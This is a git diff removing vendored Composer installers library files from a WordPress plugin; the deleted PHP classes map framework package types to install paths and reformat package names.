mode 100644 index cfd638d5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DokuWikiInstaller.php +++ /dev/null @@ -1,50 +0,0 @@ - 'lib/plugins/{$name}/', - 'template' => 'lib/tpl/{$name}/', - ); - - /** - * Format package name. - * - * For package type dokuwiki-plugin, cut off a trailing '-plugin', - * or leading dokuwiki_ if present. - * - * For package type dokuwiki-template, cut off a trailing '-template' if present. - * - */ - public function inflectPackageVars($vars) - { - - if ($vars['type'] === 'dokuwiki-plugin') { - return $this->inflectPluginVars($vars); - } - - if ($vars['type'] === 'dokuwiki-template') { - return $this->inflectTemplateVars($vars); - } - - return $vars; - } - - protected function inflectPluginVars($vars) - { - $vars['name'] = preg_replace('/-plugin$/', '', $vars['name']); - $vars['name'] = preg_replace('/^dokuwiki_?-?/', '', $vars['name']); - - return $vars; - } - - protected function inflectTemplateVars($vars) - { - $vars['name'] = preg_replace('/-template$/', '', $vars['name']); - $vars['name'] = preg_replace('/^dokuwiki_?-?/', '', $vars['name']); - - return $vars; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php deleted file mode 100644 index 21f7e8e8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DolibarrInstaller.php +++ /dev/null @@ -1,16 +0,0 @@ - - */ -class DolibarrInstaller extends BaseInstaller -{ - //TODO: Add support for scripts and themes - protected $locations = array( - 'module' => 'htdocs/custom/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php deleted file mode 100644 index 73282392..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/DrupalInstaller.php +++ /dev/null @@ -1,22 +0,0 @@ - 'core/', - 'module' => 'modules/{$name}/', - 'theme' => 'themes/{$name}/', - 'library' => 'libraries/{$name}/', - 'profile' => 'profiles/{$name}/', - 'database-driver' => 'drivers/lib/Drupal/Driver/Database/{$name}/', - 'drush' => 'drush/{$name}/', - 'custom-theme' => 'themes/custom/{$name}/', - 'custom-module' => 'modules/custom/{$name}/', - 'custom-profile' => 'profiles/custom/{$name}/', - 'drupal-multisite' => 'sites/{$name}/', - 'console' => 'console/{$name}/', - 'console-language' => 'console/language/{$name}/', - 'config' => 'config/sync/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php deleted file mode 100644 index c0bb609f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ElggInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'mod/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php deleted file mode 100644 index 6f3dc97b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EliasisInstaller.php +++ /dev/null @@ -1,12 +0,0 @@ - 'components/{$name}/', - 'module' => 'modules/{$name}/', - 'plugin' => 'plugins/{$name}/', - 'template' => 'templates/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php deleted file mode 100644 index d5321a8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ExpressionEngineInstaller.php +++ /dev/null @@ -1,29 +0,0 @@ - 'system/expressionengine/third_party/{$name}/', - 'theme' => 'themes/third_party/{$name}/', - ); - - private $ee3Locations = array( - 'addon' => 'system/user/addons/{$name}/', - 'theme' => 'themes/user/{$name}/', - ); - - public function getInstallPath(PackageInterface $package, $frameworkType = '') - { - - $version = "{$frameworkType}Locations"; - $this->locations = $this->$version; - - return parent::getInstallPath($package, $frameworkType); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php deleted file mode 100644 index f30ebcc7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/EzPlatformInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'web/assets/ezplatform/', - 'assets' => 'web/assets/ezplatform/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelInstaller.php deleted file mode 100644 index 6eba2e34..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'fuel/app/modules/{$name}/', - 'package' => 'fuel/packages/{$name}/', - 'theme' => 'fuel/app/themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelphpInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelphpInstaller.php deleted file mode 100644 index 29d980b3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/FuelphpInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'components/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/GravInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/GravInstaller.php deleted file mode 100644 index dbe63e07..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/GravInstaller.php +++ /dev/null @@ -1,30 +0,0 @@ - 'user/plugins/{$name}/', - 'theme' => 'user/themes/{$name}/', - ); - - /** - * Format package name - * - * @param array $vars - * - * @return array - */ - public function inflectPackageVars($vars) - { - $restrictedWords = implode('|', array_keys($this->locations)); - - $vars['name'] = strtolower($vars['name']); - $vars['name'] = preg_replace('/^(?:grav-)?(?:(?:'.$restrictedWords.')-)?(.*?)(?:-(?:'.$restrictedWords.'))?$/ui', - '$1', - $vars['name'] - ); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/HuradInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/HuradInstaller.php deleted file mode 100644 index 8fe017f0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/HuradInstaller.php +++ /dev/null @@ -1,25 +0,0 @@ - 'plugins/{$name}/', - 'theme' => 'plugins/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $nameParts = explode('/', $vars['name']); - foreach ($nameParts as &$value) { - $value = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $value)); - $value = str_replace(array('-', '_'), ' ', $value); - $value = str_replace(' ', '', ucwords($value)); - } - $vars['name'] = implode('/', $nameParts); - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ImageCMSInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ImageCMSInstaller.php deleted file mode 100644 index 5e2142ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ImageCMSInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'templates/{$name}/', - 'module' => 'application/modules/{$name}/', - 'library' => 'application/libraries/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Installer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Installer.php deleted file mode 100644 index 9c9c24f7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/Installer.php +++ /dev/null @@ -1,298 +0,0 @@ - 'AimeosInstaller', - 'asgard' => 'AsgardInstaller', - 'attogram' => 'AttogramInstaller', - 'agl' => 'AglInstaller', - 'annotatecms' => 'AnnotateCmsInstaller', - 'bitrix' => 'BitrixInstaller', - 'bonefish' => 'BonefishInstaller', - 'cakephp' => 'CakePHPInstaller', - 'chef' => 'ChefInstaller', - 'civicrm' => 'CiviCrmInstaller', - 'ccframework' => 'ClanCatsFrameworkInstaller', - 'cockpit' => 'CockpitInstaller', - 'codeigniter' => 'CodeIgniterInstaller', - 'concrete5' => 'Concrete5Installer', - 'craft' => 'CraftInstaller', - 'croogo' => 'CroogoInstaller', - 'dframe' => 'DframeInstaller', - 'dokuwiki' => 'DokuWikiInstaller', - 'dolibarr' => 'DolibarrInstaller', - 'decibel' => 'DecibelInstaller', - 'drupal' => 'DrupalInstaller', - 'elgg' => 'ElggInstaller', - 'eliasis' => 'EliasisInstaller', - 'ee3' => 'ExpressionEngineInstaller', - 'ee2' => 'ExpressionEngineInstaller', - 'ezplatform' => 'EzPlatformInstaller', - 'fuel' => 'FuelInstaller', - 'fuelphp' => 'FuelphpInstaller', - 'grav' => 'GravInstaller', - 'hurad' => 'HuradInstaller', - 'tastyigniter' => 'TastyIgniterInstaller', - 'imagecms' => 'ImageCMSInstaller', - 'itop' => 'ItopInstaller', - 'joomla' => 'JoomlaInstaller', - 'kanboard' => 'KanboardInstaller', - 'kirby' => 'KirbyInstaller', - 'known' => 'KnownInstaller', - 'kodicms' => 'KodiCMSInstaller', - 'kohana' => 'KohanaInstaller', - 'lms' => 'LanManagementSystemInstaller', - 'laravel' => 'LaravelInstaller', - 'lavalite' => 'LavaLiteInstaller', - 'lithium' => 'LithiumInstaller', - 'magento' => 'MagentoInstaller', - 'majima' => 'MajimaInstaller', - 'mantisbt' => 'MantisBTInstaller', - 'mako' => 'MakoInstaller', - 'maya' => 'MayaInstaller', - 'mautic' => 'MauticInstaller', - 'mediawiki' => 'MediaWikiInstaller', - 'miaoxing' => 'MiaoxingInstaller', - 'microweber' => 'MicroweberInstaller', - 'modulework' => 'MODULEWorkInstaller', - 'modx' => 'ModxInstaller', - 'modxevo' => 'MODXEvoInstaller', - 'moodle' => 'MoodleInstaller', - 'october' => 'OctoberInstaller', - 'ontowiki' => 'OntoWikiInstaller', - 'oxid' => 'OxidInstaller', - 'osclass' => 'OsclassInstaller', - 'pxcms' => 'PxcmsInstaller', - 'phpbb' => 'PhpBBInstaller', - 'pimcore' => 'PimcoreInstaller', - 'piwik' => 'PiwikInstaller', - 'plentymarkets'=> 'PlentymarketsInstaller', - 'ppi' => 'PPIInstaller', - 'puppet' => 'PuppetInstaller', - 'radphp' => 'RadPHPInstaller', - 'phifty' => 'PhiftyInstaller', - 'porto' => 'PortoInstaller', - 'processwire' => 'ProcessWireInstaller', - 'quicksilver' => 'PantheonInstaller', - 'redaxo' => 'RedaxoInstaller', - 'redaxo5' => 'Redaxo5Installer', - 'reindex' => 'ReIndexInstaller', - 'roundcube' => 'RoundcubeInstaller', - 'shopware' => 'ShopwareInstaller', - 'sitedirect' => 'SiteDirectInstaller', - 'silverstripe' => 'SilverStripeInstaller', - 'smf' => 'SMFInstaller', - 'starbug' => 'StarbugInstaller', - 'sydes' => 'SyDESInstaller', - 'sylius' => 'SyliusInstaller', - 'symfony1' => 'Symfony1Installer', - 'tao' => 'TaoInstaller', - 'thelia' => 'TheliaInstaller', - 'tusk' => 'TuskInstaller', - 'typo3-cms' => 'TYPO3CmsInstaller', - 'typo3-flow' => 'TYPO3FlowInstaller', - 'userfrosting' => 'UserFrostingInstaller', - 'vanilla' => 'VanillaInstaller', - 'whmcs' => 'WHMCSInstaller', - 'winter' => 'WinterInstaller', - 'wolfcms' => 'WolfCMSInstaller', - 'wordpress' => 'WordPressInstaller', - 'yawik' => 'YawikInstaller', - 'zend' => 'ZendInstaller', - 'zikula' => 'ZikulaInstaller', - 'prestashop' => 'PrestashopInstaller' - ); - - /** - * Installer constructor. - * - * Disables installers specified in main composer extra installer-disable - * list - * - * @param IOInterface $io - * @param Composer $composer - * @param string $type - * @param Filesystem|null $filesystem - * @param BinaryInstaller|null $binaryInstaller - */ - public function __construct( - IOInterface $io, - Composer $composer, - $type = 'library', - Filesystem $filesystem = null, - BinaryInstaller $binaryInstaller = null - ) { - parent::__construct($io, $composer, $type, $filesystem, - $binaryInstaller); - $this->removeDisabledInstallers(); - } - - /** - * {@inheritDoc} - */ - public function getInstallPath(PackageInterface $package) - { - $type = $package->getType(); - $frameworkType = $this->findFrameworkType($type); - - if ($frameworkType === false) { - throw new \InvalidArgumentException( - 'Sorry the package type of this package is not yet supported.' - ); - } - - $class = 'Composer\\Installers\\' . $this->supportedTypes[$frameworkType]; - $installer = new $class($package, $this->composer, $this->getIO()); - - return $installer->getInstallPath($package, $frameworkType); - } - - public function uninstall(InstalledRepositoryInterface $repo, PackageInterface $package) - { - $installPath = $this->getPackageBasePath($package); - $io = $this->io; - $outputStatus = function () use ($io, $installPath) { - $io->write(sprintf('Deleting %s - %s', $installPath, !file_exists($installPath) ? 'deleted' : 'not deleted')); - }; - - $promise = parent::uninstall($repo, $package); - - // Composer v2 might return a promise here - if ($promise instanceof PromiseInterface) { - return $promise->then($outputStatus); - } - - // If not, execute the code right away as parent::uninstall executed synchronously (composer v1, or v2 without async) - $outputStatus(); - - return null; - } - - /** - * {@inheritDoc} - */ - public function supports($packageType) - { - $frameworkType = $this->findFrameworkType($packageType); - - if ($frameworkType === false) { - return false; - } - - $locationPattern = $this->getLocationPattern($frameworkType); - - return preg_match('#' . $frameworkType . '-' . $locationPattern . '#', $packageType, $matches) === 1; - } - - /** - * Finds a supported framework type if it exists and returns it - * - * @param string $type - * @return string|false - */ - protected function findFrameworkType($type) - { - krsort($this->supportedTypes); - - foreach ($this->supportedTypes as $key => $val) { - if ($key === substr($type, 0, strlen($key))) { - return substr($type, 0, strlen($key)); - } - } - - return false; - } - - /** - * Get the second part of the regular expression to check for support of a - * package type - * - * @param string $frameworkType - * @return string - */ - protected function getLocationPattern($frameworkType) - { - $pattern = false; - if (!empty($this->supportedTypes[$frameworkType])) { - $frameworkClass = 'Composer\\Installers\\' . $this->supportedTypes[$frameworkType]; - /** @var BaseInstaller $framework */ - $framework = new $frameworkClass(null, $this->composer, $this->getIO()); - $locations = array_keys($framework->getLocations()); - $pattern = $locations ? '(' . implode('|', $locations) . ')' : false; - } - - return $pattern ? : '(\w+)'; - } - - /** - * Get I/O object - * - * @return IOInterface - */ - private function getIO() - { - return $this->io; - } - - /** - * Look for installers set to be disabled in composer's extra config and - * remove them from the list of supported installers. - * - * Globals: - * - true, "all", and "*" - disable all installers. - * - false - enable all installers (useful with - * wikimedia/composer-merge-plugin or similar) - * - * @return void - */ - protected function removeDisabledInstallers() - { - $extra = $this->composer->getPackage()->getExtra(); - - if (!isset($extra['installer-disable']) || $extra['installer-disable'] === false) { - // No installers are disabled - return; - } - - // Get installers to disable - $disable = $extra['installer-disable']; - - // Ensure $disabled is an array - if (!is_array($disable)) { - $disable = array($disable); - } - - // Check which installers should be disabled - $all = array(true, "all", "*"); - $intersect = array_intersect($all, $disable); - if (!empty($intersect)) { - // Disable all installers - $this->supportedTypes = array(); - } else { - // Disable specified installers - foreach ($disable as $key => $installer) { - if (is_string($installer) && key_exists($installer, $this->supportedTypes)) { - unset($this->supportedTypes[$installer]); - } - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ItopInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ItopInstaller.php deleted file mode 100644 index c6c1b337..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/ItopInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'extensions/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/JoomlaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/JoomlaInstaller.php deleted file mode 100644 index 9ee77596..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/JoomlaInstaller.php +++ /dev/null @@ -1,15 +0,0 @@ - 'components/{$name}/', - 'module' => 'modules/{$name}/', - 'template' => 'templates/{$name}/', - 'plugin' => 'plugins/{$name}/', - 'library' => 'libraries/{$name}/', - ); - - // TODO: Add inflector for mod_ and com_ names -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KanboardInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KanboardInstaller.php deleted file mode 100644 index 9cb7b8cd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KanboardInstaller.php +++ /dev/null @@ -1,18 +0,0 @@ - 'plugins/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KirbyInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KirbyInstaller.php deleted file mode 100644 index 36b2f84a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KirbyInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'site/plugins/{$name}/', - 'field' => 'site/fields/{$name}/', - 'tag' => 'site/tags/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KnownInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KnownInstaller.php deleted file mode 100644 index c5d08c5f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KnownInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'IdnoPlugins/{$name}/', - 'theme' => 'Themes/{$name}/', - 'console' => 'ConsolePlugins/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KodiCMSInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KodiCMSInstaller.php deleted file mode 100644 index 7143e232..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KodiCMSInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'cms/plugins/{$name}/', - 'media' => 'cms/media/vendor/{$name}/' - ); -} \ No newline at end of file diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KohanaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KohanaInstaller.php deleted file mode 100644 index dcd6d263..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/KohanaInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php deleted file mode 100644 index 903143a5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LanManagementSystemInstaller.php +++ /dev/null @@ -1,27 +0,0 @@ - 'plugins/{$name}/', - 'template' => 'templates/{$name}/', - 'document-template' => 'documents/templates/{$name}/', - 'userpanel-module' => 'userpanel/modules/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LaravelInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LaravelInstaller.php deleted file mode 100644 index be4d53a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LaravelInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'libraries/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LavaLiteInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LavaLiteInstaller.php deleted file mode 100644 index 412c0b5c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LavaLiteInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'packages/{$vendor}/{$name}/', - 'theme' => 'public/themes/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LithiumInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LithiumInstaller.php deleted file mode 100644 index 47bbd4ca..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/LithiumInstaller.php +++ /dev/null @@ -1,10 +0,0 @@ - 'libraries/{$name}/', - 'source' => 'libraries/_source/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php deleted file mode 100644 index 9c2e9fb4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODULEWorkInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'modules/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODXEvoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODXEvoInstaller.php deleted file mode 100644 index 5a664608..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MODXEvoInstaller.php +++ /dev/null @@ -1,16 +0,0 @@ - 'assets/snippets/{$name}/', - 'plugin' => 'assets/plugins/{$name}/', - 'module' => 'assets/modules/{$name}/', - 'template' => 'assets/templates/{$name}/', - 'lib' => 'assets/lib/{$name}/' - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MagentoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MagentoInstaller.php deleted file mode 100644 index cf18e947..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MagentoInstaller.php +++ /dev/null @@ -1,11 +0,0 @@ - 'app/design/frontend/{$name}/', - 'skin' => 'skin/frontend/default/{$name}/', - 'library' => 'lib/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MajimaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MajimaInstaller.php deleted file mode 100644 index e463756f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MajimaInstaller.php +++ /dev/null @@ -1,37 +0,0 @@ - 'plugins/{$name}/', - ); - - /** - * Transforms the names - * @param array $vars - * @return array - */ - public function inflectPackageVars($vars) - { - return $this->correctPluginName($vars); - } - - /** - * Change hyphenated names to camelcase - * @param array $vars - * @return array - */ - private function correctPluginName($vars) - { - $camelCasedName = preg_replace_callback('/(-[a-z])/', function ($matches) { - return strtoupper($matches[0][1]); - }, $vars['name']); - $vars['name'] = ucfirst($camelCasedName); - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MakoInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MakoInstaller.php deleted file mode 100644 index ca3cfacb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MakoInstaller.php +++ /dev/null @@ -1,9 +0,0 @@ - 'app/packages/{$name}/', - ); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MantisBTInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MantisBTInstaller.php deleted file mode 100644 index dadb1dbb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MantisBTInstaller.php +++ /dev/null @@ -1,23 +0,0 @@ - 'plugins/{$name}/', - ); - - /** - * Format package name to CamelCase - */ - public function inflectPackageVars($vars) - { - $vars['name'] = strtolower(preg_replace('/(?<=\\w)([A-Z])/', '_\\1', $vars['name'])); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MauticInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MauticInstaller.php deleted file mode 100644 index c3dd2b6f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MauticInstaller.php +++ /dev/null @@ -1,48 +0,0 @@ - 'plugins/{$name}/', - 'theme' => 'themes/{$name}/', - 'core' => 'app/', - ); - - private function getDirectoryName() - { - $extra = $this->package->getExtra(); - if (!empty($extra['install-directory-name'])) { - return $extra['install-directory-name']; - } - - return $this->toCamelCase($this->package->getPrettyName()); - } - - /** - * @param string $packageName - * - * @return string - */ - private function toCamelCase($packageName) - { - return str_replace(' ', '', ucwords(str_replace('-', ' ', basename($packageName)))); - } - - /** - * Format package name of mautic-plugins to CamelCase - */ - public function inflectPackageVars($vars) - { - - if ($vars['type'] == 'mautic-plugin' || $vars['type'] == 'mautic-theme') { - $directoryName = $this->getDirectoryName(); - $vars['name'] = $directoryName; - } - - return $vars; - } - -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MayaInstaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MayaInstaller.php deleted file mode 100644 index 30a91676..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MayaInstaller.php +++ /dev/null @@ -1,33 +0,0 @@ - 'modules/{$name}/', - ); - - /** - * Format package name. - * - * For package type maya-module, cut off a trailing '-module' if present. - * - */ - public function inflectPackageVars($vars) - { - if ($vars['type'] === 'maya-module') { - return $this->inflectModuleVars($vars); - } - - return $vars; - } - - protected function inflectModuleVars($vars) - { - $vars['name'] = preg_replace('/-module$/', '', $vars['name']); - $vars['name'] = str_replace(array('-', '_'), ' ', $vars['name']); - $vars['name'] = str_replace(' ', '', ucwords($vars['name'])); - - return $vars; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/composer/installers/src/Composer/Installers/MediaWikiInstaller.php 